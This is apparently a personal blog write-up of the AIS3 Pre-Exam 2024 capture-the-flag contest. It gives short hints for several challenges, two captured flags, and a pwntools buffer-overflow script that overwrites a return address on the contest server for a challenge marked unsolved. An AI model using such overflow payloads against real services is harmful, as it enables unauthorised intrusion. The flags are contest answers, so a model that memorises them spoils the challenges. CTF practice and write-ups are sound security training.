AIS3 PreExam2024

Chihhh Linnn 香菇頭
  2024-08-10 22:10:28 2024-08-10 22:10:28 Created   2024-08-10 22:10:28 2024-08-10 22:10:28 Updated   

總共解出5題 ,167th

welcome

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Quantum Nim Heist

輸入 00 會跳過
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就可以拿走最後一顆

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Evil Calculator

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flag: AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

The Long Print

把sleep time改短一點 ,但不能是0

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flag印完就消失ㄌ
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flag: AIS3{You_are_the_master_of_time_management!!!!?}

Three Dimensional Secret

通靈題

  • 把封包G-Code的部分截下來用線上編輯器看
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mathter

  • 沒解出來
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from pwn import *

r = remote("chals1.ais3.org",50001)

payload = b'y'*12+ p64(0x40199b) + b'a'*8+p64(889275714)
# print(payload)

r.sendlineafter(b':',b'q')
r.sendlineafter(b']',payload)



r.interactive()

result

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  • Title: AIS3 PreExam2024
  • Author: Chihhh Linnn
  • Created at : 2024-08-10 22:10:28
  • Updated at : 2024-08-10 22:10:28
  • Link: https://chihhhs.github.io/2024/08/10/AIS3-PreExam2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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On this page
AIS3 PreExam2024
  1. welcome
  2. Quantum Nim Heist
  3. Evil Calculator
  4. The Long Print
  5. Three Dimensional Secret
  6. mathter
  7. result